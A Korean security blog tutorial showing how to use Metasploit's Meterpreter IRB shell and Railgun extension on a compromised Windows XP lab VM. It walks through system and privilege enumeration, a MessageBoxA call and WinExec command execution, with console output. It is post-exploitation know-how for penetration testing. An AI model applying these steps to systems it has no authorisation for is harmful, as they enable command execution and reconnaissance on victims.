7/19/2016

[METASPLOIT] Meterpreter Railgun / Useful API call for Hacker&Pentester


오늘은 Metasploit 의 강력한 쉘인 Meterpreter shell 중 Railgun과 IRB를 이용한 API 사용에 대한 내용으로 이야기를 준비했습니다.

쉬운 이해를 위해서 API Call 먼저보고 RailGun 순서로 진행됩니다.
Meterpreter를 아주 강력하게 만들어주는 RailGun, 편리한 공격을 위한 IRB API에 대해 시작합니다. :)


Warm-up!

오늘도 meterpreter 테스트를 위해 가상머신 하나를 탈취합니다.
(VM이라 동일 IP로 찍혀요)

hahwul exploit(handler) #>
[*] Sending stage (957999 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.8:51270) at 2016-07-18 23:12:21 +0900

hahwul exploit(handler) #> sessions -l

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9  192.168.0.8:4444 -> 192.168.0.8:51270 (10.0.2.15)

hahwul exploit(handler) #> sessions -i 1
[*] Starting interaction with 1...

meterpreter >


IRB를 이용한 Ruby Shell 실행

Meterpreter shell에선 ruby shell인 irb를 사용할 수 있습니다.
덤으로 metasploit 자체가 ruby로 짜여있기 때문에 굉장히 편하게 쓸 수 있죠.
(ruby를 주력으로 쓰는 저에게는 최고의 구성)

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>>

irb 사용은 meterpreter 사용에서 아주 유연함을 주기 때문에 알아둘수록 좋습니다.

API Call을 이용한 system info 수집

이 내용은 Metasploit Unleashed에 소개된 내용입니다. unleashed 에서 좋은 내용을 많이 다루기 때문에 MSF 공부하시는 분이라면 꼭 다 보셨으면 합니다.


먼저 meterpreter에서 ruby는 내부에 타겟에 대한 class 가 이미 선언되어 있습니다.
바로 "client" 인데요. client class에서 시스템에 대한 정보나 오늘 포스팅 목적인 railgun 까지 다 포함하고 있는 가장 큰 클래스입니다.

?> client
=> #<Session:meterpreter 192.168.0.8:51270 (10.0.2.15) "BEGINNER-4CAED9\Administrator @ BEGINNER-4CAED9">

client class를 보면 연결에 대한 정보가 들어있음을 확인할 수 있죠.

이제 유용한 API를 하나하나 볼까요?

1) sysinfo
client.sys.config.sysinfo 에 있는 정보는 타겟 시스템에 대한 정보를 담고 있습니다.

>> client.sys.config.sysinfo
=> {"Computer"=>"BEGINNER-4CAED9", "OS"=>"Windows XP (Build 2600, Service Pack 3).", "Architecture"=>"x86", "System Language"=>"ko_KR", "Domain"=>"WORKGROUP", "Logged On Users"=>2}

Computer이름부터 OS, Domain등등 여러가지 정보가 있네요. 각각의 정보는 Hash 형태로 저장되어 있어서 아래와 같이 각각 키 명을 호출하여 값을 불러올 수 있습니다.

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
>> client.sys.config.sysinfo['Domain']
=> "WORKGROUP"
>>

역시 hash는 루비의 엄청난 장점이죠.

2) getuid
sys.config 하단에 있는 getuid는 현재 client로 열린 쉘의 사용자를 가지고 있습니다.
권한이라고 보시면되죠. 이걸 이용해서 meterpreter shell로 접근 획득 후 admin 권한인지 확인하고, 없으면 local exploit 을 찾아서 자동으로 권한 탈취하는 meterpreter shell을 구성할 수도 있을 것 같네요.

>> client.sys.config.getuid
=> "BEGINNER-4CAED9\\Administrator"
>>

local exploit 관련 글은 아래 내용 참조해주세요.

[METASPLOIT] /local_exploit_suggester 모듈을 이용한 Local Exploit 찾기
(http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html)


3) interfaces
마지막으로 ifconfig, ipconfig에 해당하는 net.config 하단의 interfaces 입니다.
net 아래인 것 처럼 네트워크 정보를 담고 있으며 이 부분도 parsing 해서 사용 시 편리할 것 같습니다.

>> interface = client.net.config.interfaces
>> interface.each do |i|
?> puts i.pretty
>> end
Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - rfacee
Hardware MAC : 08:00:27:14:c5:a9
MTU          : 1500
IPv4 Address : 10.0.2.15
IPv4 Netmask : 255.255.255.0
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1

Meterpreter RailGun - About

오늘 포스팅의 주 목적인 Railgun 부분입니다. 일단 railgun은 실제 무기로도 아주 요명하죠. 위력이 굉장하다고 들었던 것 같습니다.


meterpreter 에서의 railgun도 아주 강력합니다. 개인적으로 meterpreter shell 기능 중 top3로 꼽습니다.

RailGun은 Meterpreter shell이 침투한 Windows에서 동작할 때 사용할 수 있는 확장부분입니다. Target system에 존재하는 DLL과 그 내부의 함수, 코드등에 대해 실행할 수 있어 공격자로 하여금 좀 더 유연한 공격과 편리한 기능을 제공합니다.

다만 예쁘게 help를 주는건 아니니 각 DLL 별 함수 종류 및 사용법을 위해서는 MSDN은 필수입니다.

Meterpreter RailGun - Using USER32.DLL fucntion

아까 irb의 구조를 조금 보았기 때문에 아마도 이해에 도움되실겁니다.
"client" 하단에 railgun이 따로 존재하며 위에서 말씀드렸듯이 railgun을 이용해서 system api 를 직접 호출할 수 있습니다.

일단 사용법을 보면 아래와 같습니다.

client.railgun.<dll library>.<function>(<function args>)

railgun 하단에 사용할 dll library가 들어가고 dll의 존재하는 함수명으로 호출이 간으합니다. 좀 더 쉬운 이해를 위해 아래 예제 코드를 볼까요?

>> client.railgun.user32.MessageBoxA(0,"HAHWUL","HAcked.!","MB_OK")

railgun으로 user32.dll에 접근 후 MessageBoxA 함수를 실행합니다.
MessageBoxA 함수는 Win API 프로그래밍을 해보셨다면 많이 익숙할껍니다.
바로 메시지 창이죠.

int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);
위 값을 입력했을 때 Target PC에서 어떤일이 일어나는지 보죠.



user32.dll에 선언된 MessageBoxA 함수가 실행되어 제가 넣은 인자값으로 창이 뜨게 되었습니다.

사용 가능한 함수 리스트는 puts으로 찍어주면 쉽게 볼 수 있습니다.

>> puts client.railgun.user32
RuntimeError: DLL-function to_ary not found. Known functions: ["ActivateKeyboardLayout",
 "AdjustWindowRect",
 "AdjustWindowRectEx",
 "AllowSetForegroundWindow",
...

Meterpreter RailGun - Using KERNEL32.DLL fucntion


자 그럼 하나 더 해볼까요?
kernel32.dll에는 WinExec 라는 함수가 있습니다. 명령을 실행시켜주죠.
(간단한 함수로 찾다보니 WinExec가 설명하기 좋겠더라구요)

함수형을 보면 아래와 같습니다.

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow
);
1번 인자값으로 명령, 2번은 view 옵션이 들어갑니다.
이제 railgun으로 실행해볼까요?

>> client.railgun.kernel32.WinExec("calc",0)
=> {"GetLastError"=>0, "ErrorMessage"=>"\xC0\xDB\xBE\xF7\xC0\xBB \xBF\xCF\xB7\xE1\xC7\xDF\xBD\xC0\xB4\xCF\xB4\xD9.", "return"=>33}



계산기가 잘 뜨네요.

Conclusion

Railgun은 아주 좋은 Ruby Module(?) 입니다. meterpreter 자체의 irb 성능도 좋긴하지만 railgun으로 굉장히 유연하고 강력한 pentest, hacking을 지원하게 되죠.

ruby 자체로 코딩할 수 있으니 그 가능성은 무한하다고 봅니다.


Reference

https://www.offensive-security.com/metasploit-unleashed/api-calls/
http://www.hahwul.com/2015/08/metasploit-metasploit-autorunscript.html
http://www.hahwul.com/2016/02/metasploit-localexploitsuggester-local.html
https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms687393(v=vs.85).aspx
https://msdn.microsoft.com/ko-kr/library/windows/desktop/ms645505(v=vs.85).aspx


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

3 comments: